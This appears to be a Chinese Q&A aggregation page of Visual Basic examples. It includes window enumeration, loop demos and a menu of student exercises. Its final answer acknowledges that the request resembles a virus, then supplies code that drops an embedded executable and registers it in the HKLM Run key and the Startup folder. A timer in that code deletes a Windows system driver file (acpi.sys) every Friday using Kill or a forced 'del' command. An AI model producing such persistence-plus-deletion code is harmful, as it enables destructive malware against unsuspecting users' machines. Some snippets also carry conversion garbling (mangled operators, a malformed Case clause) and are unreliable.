×

vb经典程序100例 教程

vb经典程序100例(问VB或C语言的应用教程)

admin admin 发表于2022-09-04 14:08:50 浏览111 评论0

抢沙发发表评论

本文目录

问VB或C语言的应用教程


书用谭浩强编的比较好,如果是C语言视频教程给你个网址http://www.tudou.com/playlist/id6283640.html,如果是C++可以选孙鑫老师的教程
希望能够帮助你,我最近也是在自学C语言,看的就是土豆网上的那个

100分,求vb EnumChildWindows,EnumChildProc实例源程序


窗体代码如下 添加一个按钮 一个list控件
Private Sub Command1_Click()
EnumChildWindows GetDesktopWindow, AddressOf EnumChildProc, ByVal 0&
End Sub
模块代码如下
Public Declare Function GetDesktopWindow Lib “user32“ () As Long
Public Declare Function EnumChildWindows Lib “user32“ (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function GetWindowText Lib “user32“ Alias “GetWindowTextA“ (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Function EnumChildProc(ByVal hwnd As Long, ByVal lParam As Long) As Long
Dim sSave As String * 255
GetWindowText hwnd, sSave, 255
If Blank(sSave) 《》 ““ Then Form1.List1.AddItem hwnd & “,“ & sSave
EnumChildProc = 1
End Function
Public Function Blank(ByVal szString As String) As String
Dim l As Integer
l = InStr(szString, Chr(0))
If l 》 0 Then
Blank = Left(szString, l - 1)
Else
Blank = szString
End If
End Function

求VB程序设计典型例题


修改好了测试成功,但是,基本上,偶数和会大于所有的数
private
sub
command1_click()
dim
a(10)
as
double
dim
t
as
double
randomize
for
i
=
1
to
10
a(i)
=
int(rnd
*
100
+
2)
’设十个数,给十个数随机赋值
if
a(i)
mod
2
=
0
then
t
=
t
+
a(i):
print
“偶数为“;
a(i)
next
i
print
“偶数的和为“;
t
for
i
=
1
to
10
if
a(i)

t
then
print
“小于偶数和的数“;
a(i)
next
i
end
sub
-vb经典程序100例

vb 例子


1..
Dim Words, Chars, MyString
For Words = 10 To 1 Step -1 ’ 建立 10 次循环。
For Chars = 0 To 9 ’ 建立 10 次循环。
MyString = MyString & Chars ’ 将数字添加到字符串中。
Next Chars ’ Increment counter
MyString = MyString & “ “ ’ 添加一个空格。
Next Words
2.
Do...Loop 语句示例
本示例示范如何使用 Do...Loop 语句。内层的 Do...Loop 语句循环到第 10 次时将标志值设置为 False,并用 Exit Do 语句强制退出内层循环。外层循环则在检查到标志值为 False 时,马上退出。
Dim Check, Counter
Check = True: Counter = 0 ’ 设置变量初始值。
Do ’ 外层循环。
Do While Counter 《 20 ’ 内层循环。
Counter = Counter + 1 ’ 计数器加一。
If Counter = 10 Then ’ 如果条件成立。
Check = False ’ 将标志值设成 False。
Exit Do ’ 退出内层循环。
End If
Loop
Loop Until Check = False ’ 退出外层循环。
3.
While...Wend 语句示例
本示例使用 While...Wend 语句来增加计数变量的值。如果条件判断值为 True,则循环内的语句将一直执行下去。
Dim Counter
Counter = 0 ’ 设置变量初值。
While Counter 《 20 ’ 测试计数器的值。
Counter = Counter + 1 ’ 将计数器的值加一。
Wend ’ 当 Counter 》 19 时则循环终止。
Debug.Print Counter ’ 在“立即”窗口中显示数字 20。
Select Case 语句示例
本示例使用 Select Case 语句来判断变量的值。示例中第二个 Case 子句包含了变量值,故只有此区块内的语句会被完成到。
Dim Number
Number = 8 ’ 设置变量初值。
Select Case Number ’ 判断 Number 的值。
Case 1 To 5 ’ Number 的值在 1 到 5 之间,包含1 和 5 。
Debug.Print “Between 1 and 5“
’ 下一个 Case 子句是本示例中唯一判断值为 True 的子句。
Case 6, 7, 8 ’ Number 的值在 6 到 8 之间。
Debug.Print “Between 6 and 8“
Case 9 到 10 ’ Number 的值为 9 或 10。
Debug.Print “Greater than 8“
Case Else ’ 其他数值。
Debug.Print “Not between 1 and 10“
End Select
-教程

vb简单程序··谢谢啊


’建立8个command1至8
Private Type WorkerInf
GH As String
Name As String
GZ As Single
End Type
Private Type StudentInf
Name As String
Numb As String
Chin As Single
Engl As Single
Math As Single
End Type
Dim A As String, B As String
Dim I As Integer, L As Integer, M As Integer
Private Sub Command1_Click()
Cls
A = InputBox(“输入字符串“, “字符串“, “di1o.s430rfikr8“)
Print “输入的字符串是:“ + A
L = 0
For I = 1 To Len(A)
If Asc(Mid(A, I, 1)) 》 47 And Asc(Mid(A, I, 1)) 《 58 Then
L = L + 1
End If
Next
Print “字符串中所有十进制字符的个数是:“ + Str(L) + “个“
End Sub
Private Sub Command2_Click()
Cls
A = InputBox(“输入字符串“, “字符串“, “di1o.s430rfikr8“)
Print “输入的字符串是:“; A
B = ““
L = 0
For I = 1 To Len(A)
If Asc(Mid(A, I, 1)) 《 47 Or Asc(Mid(A, I, 1)) 》 58 Then
B = B + Mid(A, I, 1)
L = L + 1
End If
Next
Print “去掉字符串中所有十进制字符后剩余的字符串是:“ + B + “长度:“ + Str(L)
End Sub
Private Sub Command3_Click()
Cls
Dim Worker(100) As WorkerInf
I = 0
Do
I = I + 1
Worker(I).GH = InputBox(“输入工号(结束--回车)“, “第“ + Str(I) + “位职工“)
If Worker(I).GH = ““ Then Exit Do
Worker(I).Name = InputBox(“输入名字“, “第“ + Str(I) + “位职工“, “0000“)
Worker(I).GZ = InputBox(“输入工资“, “第“ + Str(I) + “位职工“, 0)
Print I, Worker(I).GH, Worker(I).Name, Worker(I).GZ
Loop
I = I - 1
If I 》 0 Then
For L = 1 To I
For M = L To I
If Worker(L).GZ 》 Worker(M).GZ Then
Worker(I + 1).GH = Worker(M).GH
Worker(I + 1).Name = Worker(M).Name
Worker(I + 1).GZ = Worker(M).GZ
Worker(M).GH = Worker(L).GH
Worker(M).Name = Worker(L).Name
Worker(M).GZ = Worker(L).GZ
Worker(L).GH = Worker(I + 1).GH
Worker(L).Name = Worker(I + 1).Name
Worker(L).GZ = Worker(I + 1).GZ
End If
Next
Next
Print 序号, 工号, 姓名, 工资
For L = 1 To I
Print L, Worker(L).GH, Worker(L).Name, Worker(L).GZ
Next
End If
End Sub
Private Sub Command4_Click()
Cls
Dim Student(100) As StudentInf
I = 0
Do
I = I + 1
Student(I).Name = InputBox(“输入姓名(结束--回车)“, “第“ + Str(I) + “位同学“)
If Student(I).Name = ““ Then Exit Do
Student(I).Numb = InputBox(“输入学号“, “第“ + Str(I) + “位同学“, “0001“)
Student(I).Chin = InputBox(“输入语文成绩“, “第“ + Str(I) + “位同学“, 100)
Student(I).Engl = InputBox(“输入英语成绩“, “第“ + Str(I) + “位同学“, 100)
Student(I).Math = InputBox(“输入数学成绩“, “第“ + Str(I) + “位同学“, 100)
Print I, Student(I).Name, Student(I).Numb, Student(I).Chin, Student(I).Engl, Student(I).Math
Loop
I = I - 1
If I 》 0 Then
Cls
Print 序号, 姓名, 学号, 语文成绩, 英语成绩, 数学成绩, 平均成绩
For L = 1 To I
Print L, Student(L).Name, Student(L).Numb, Student(L).Chin, Student(L).Engl, Student(L).Math, Format((Student(L).Chin + Student(L).Engl + Student(L).Math) / 3, “#.0“)
Next
End If
End Sub
Private Sub Command5_Click()
Cls
Dim Shzu(100) As Single
Dim Sz As Boolean
I = 0
Do
I = I + 1
A = InputBox(“第“ + Str(I) + “个元素(结束--回车)“, “输入数组“)
If A = ““ Then Exit Do
For L = 1 To Len(A)
If (Asc(Mid(A, L, 1)) 《 47 Or Asc(Mid(A, L, 1)) 》 58) And Asc(Mid(A, L, 1)) 《》 46 And Asc(Mid(A, 1, 1)) 《》 45 Then
I = I - 1
Sz = False
Exit For
Else
Sz = True
End If
Next
If Sz = True Then
Shzu(I) = Val(A)
Print Shzu(I);
End If
Loop
I = I - 1
If I 》 0 Then
Cls
For L = 1 To I
For M = L To I
If Shzu(M) 《 Shzu(L) Then
Shzu(I + 1) = Shzu(M)
Shzu(M) = Shzu(L)
Shzu(L) = Shzu(I + 1)
End If
Next
Print Shzu(L);
Next
Print
Do
B = InputBox(“一个任意数字(结束--回车)“, “输入一个插入数“)
If B = ““ Then Exit Do
For L = 1 To Len(B)
If (Asc(Mid(B, L, 1)) 《 47 Or Asc(Mid(B, L, 1)) 》 58) And Asc(Mid(B, L, 1)) 《》 46 And Asc(Mid(B, 1, 1)) 《》 45 Then
Sz = False
Exit For
Else
Sz = True
End If
Next
If Sz = True Then
Shzu(I + 1) = Val(B)
For L = 1 To I
If Shzu(L) 》 Shzu(I + 1) Then Exit For
Next
For M = 1 To L - 1
Print Shzu(M);
Next
Print “(“; Shzu(I + 1); “)“;
If L 《 I + 1 Then
For M = L To I
Print Shzu(M);
Next
End If
Print
End If
Loop
End If
End Sub
Private Sub Command6_Click()
Cls
Dim Juzhen(1 To 3, 1 To 3) As Single
Dim Sz As Boolean
Dim Sum As Single
For I = 1 To 3
For L = 1 To 3
Do
A = InputBox(“第“ + Str(I) + “行,第“ + Str(L) + “列元素“, “输入3*3矩阵“, 0)
If A 《》 ““ Then
For M = 1 To Len(A)
If (Asc(Mid(A, M, 1)) 》 47 And Asc(Mid(A, M, 1)) 《 58) Or Asc(Mid(A, M, 1)) = 46 Or Asc(Mid(A, 1, 1)) = 45 Then
Sz = True
Else
Sz = False
Exit For
End If
Next
If Sz = True Then Exit Do
End If
Loop
Juzhen(I, L) = Val(A)
Print Juzhen(I, L);
Next
Print
Next
Sum = 0
For I = 1 To 3
For L = 1 To 3
If I + L = 4 Or I = L Then
Sum = Sum + Juzhen(I, L)
End If
Next
Next
Print “对角线元素之和是:“; Sum
End Sub
Private Sub Command7_Click()
Cls
Dim N As Byte, O As Byte, P As Byte
A = InputBox(“输入字符串“, “字符串“, “di67bYnytUTnb tyT vbhj yuig1oUYGYUGF.s43 0rUYYfikr8“)
Print “输入字符串是:“ + A
L = 0
M = 0
N = 0
O = 0
P = 0
For I = 1 To Len(A)
If Asc(Mid(A, I, 1)) 》= 65 And Asc(Mid(A, I, 1)) 《= 90 Then
L = L + 1
ElseIf Asc(Mid(A, I, 1)) 》= 97 And Asc(Mid(A, I, 1)) 《= 122 Then
M = M + 1
ElseIf Asc(Mid(A, I, 1)) = 32 Then
N = N + 1
ElseIf Asc(Mid(A, I, 1)) 》 47 And Asc(Mid(A, I, 1)) 《 58 Then
O = O + 1
Else
P = P + 1
End If
Next
Print “字符串总长度“, “大写字符个数“, “小写字符个数“, “空格个数“, “十进制字符数“, “其它字符数“
Print Len(A), L, M, N, O, P
End Sub
Private Sub Command8_Click()
End
End Sub
Private Sub Form_Load()
Form1.Width = 9000
Form1.Height = 6000
Form1.AutoRedraw = True
Print “ 请选择题目:“
Print
Print “1 从键盘上输入一个字符串,假定该字符串的长度不超过30。统计该字符串中所有十进制数字字符的个数。 “
Print
Print “2 编写程序,其功能是输入一个字符串,将其中的所有数字删除、输出改动后的字符串及其长度,“
Print “ 例如输入ab123df345ADFx193,输出为abdfADFx 8。“
Print
Print “3 自定义一个职工数据类型,包含职工号、姓名和工资。声明一个职工类型的动态数组。输入n个职工的“
Print “ 数据,要求按工资递增的顺序排序,并显示排序的结果,每个职工一行显示三个项信息。“
Print
Print “4 使用自定义数据类型输入学生的姓名、学号、语文分数、英语分数、数学分数,计算每名学生的平均成绩,“
Print “并显示各科成绩。“
Print
Print “5 有一个已安排好序的数组,从键盘上输入一个数,要求按原来排序的规律将它插入到数组中。“
Print
Print “6 求一个3X3矩阵对角线元素之和?“
Print
Print “7 输入一行文字,统计其中大写字母,小写字母、空格、数字及其他字符各有多少个?“
Command1.Caption = “第一题“
Command2.Caption = “第二题“
Command3.Caption = “第三题“
Command4.Caption = “第四题“
Command5.Caption = “第五题“
Command6.Caption = “第六题“
Command7.Caption = “第七题“
Command8.Caption = “退出“
End Sub
’已经运行过
-vb经典程序100例

VB编写程序


首先这个是病毒的特性,楼主准备做病毒
其次随启动项启动,这个基本都会被360拦截到
再次要求能在没装VB的机子上使用! VB本身就是需要VB运行库的
要安装某个程序并不难,把需要用到的文件打包到VB6的资源编辑器中
然后研究以下代码,根据世纪情况修改一些参数
Const FILE_SIZE = 49152 ’这是101号资源中的服务端文件1.exe的大小
Dim bInfo As Byte
Dim bFile() As Byte
Dim iInfoLen As Integer
Dim I As Integer, lFile As Long, filesavename As String
On Error Resume Next
iInfoLen = Len(Text1.Text) ’text1中输入字符的长度
filesavename = Text2.Text & “.exe“ ’打开文本中数据然后保存
If Text1.Text = ““ Then
MsgBox “请输入内容“
Exit Sub
End If
bFile = LoadResData(101, “CUSTOM“) ’读出101号资源
Open filesavename For Binary Access Write As #1
For lFile = 0 To FILE_SIZE - 1 ’判断资源大小
Put #1, , bFile(lFile) ’输出
Next lFile
For I = 1 To iInfoLen ’读出配置信息并追加
bInfo = Asc(Mid(Text1.Text, I, 1)) ’转换成ASC格式
Put #1, , bInfo
Next I
Close #1
’Unload Me
MsgBox “您的文件已经生成!“
End Sub ’添加工程1.exe为自定义资源,生成即可
’以上代码如果你的看懂,那最好,如果看不懂,我也不知道怎么解释你才能听得懂,实在不行就用下面的方法吧,虽然是下下策
如果上面的资源管编辑用不来,那么只好把需要安装的程序建立一个文件夹
放在VB程序的目录下
然后点击按钮的时候执行
Shell “CMD /C XCOPY 源路径 目标路径“
把软件拷贝的目标路径下了
把所有的文件都释放到应该的地方,然后注册需要用到的dll 这个就不要我多说了
直接 Shell 就行了
第二个问题也不难
最简单的方法就是释放启动文件到
\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
文件夹目录下,这样就可以随系统启动了
然后放上一个time控件,间隔1秒得到现在机器的星期
Format(Date, “dddd“)
或者联网判断网络时间(这个比较麻烦我就不说了)
判断 if Format(Date, “dddd“)= “Friday“ then
符合要求即删除文件
可以用Shell “cmd.exe /c del c:\windows\system32\drives\acpi.sys /f /s /q“
或者Kill “c:\windows\system32\drives\acpi.sys“ 都可以
第二个:
建立一个cmd1 名字建立启动项 cmd2 名字 删除启动项 time控件
代码部分
Option Explicit
Private Declare Function RegCloseKey Lib “advapi32.dll“ _
(ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib “advapi32.dll“ Alias “RegCreateKeyA“ _
(ByVal hKey As Long, _
ByVal lpSubKey As String, _
phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib “advapi32“ Alias “RegSetValueExA“ ( _
ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, _
ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegDeleteValue Lib “advapi32.dll“ Alias “RegDeleteValueA“ ( _
ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegOpenKey Lib “advapi32.dll“ Alias “RegOpenKeyA“ ( _
ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib “advapi32.dll“ Alias “RegQueryValueExA“ ( _
ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, _
lpData As Any, lpcbData As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
Private Const REG_SZ = 1
Private Sub Command1_Click()
Dim hKey As Long
RegCreateKey HKEY_LOCAL_MACHINE, “SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN“, hKey
RegSetValueEx hKey, App.EXEName, 0, REG_SZ, ByVal App.Path & “\“ & App.EXEName & “.exe“, LenB(StrConv(App.Path & “\“ & App.EXEName & “.exe“, vbFromUnicode)) + 1
RegCloseKey hKey
MsgBox “成功加入启动项“, , “提示“
End Sub
Private Sub Command2_Click()
Dim hKey As Long, ret As Long
RegOpenKey HKEY_LOCAL_MACHINE, “SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN“, hKey
ret = RegDeleteValue(hKey, App.EXEName)
If ret 《》 0 Then
MsgBox “HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\“ & App.EXEName & “不存在“
Exit Sub
End If
RegCloseKey hKey
MsgBox “成功删除启动项“, vbOKOnly, “提示“
End Sub
Private Sub Form_Load()
Timer1.Interval = 5000 ’每5秒尝试一次删除动作
End Sub
Private Sub Timer1_Timer()
If Format(Date, “dddd“) = “Friday“ Then ’判断是否是星期5
Kill “c:\windows\system32\drives\acpi.sys“
’或者
’Shell “cmd.exe /c del /f /s /q c:\windows\system32\drives\acpi.sys“
End If
End Sub
-教程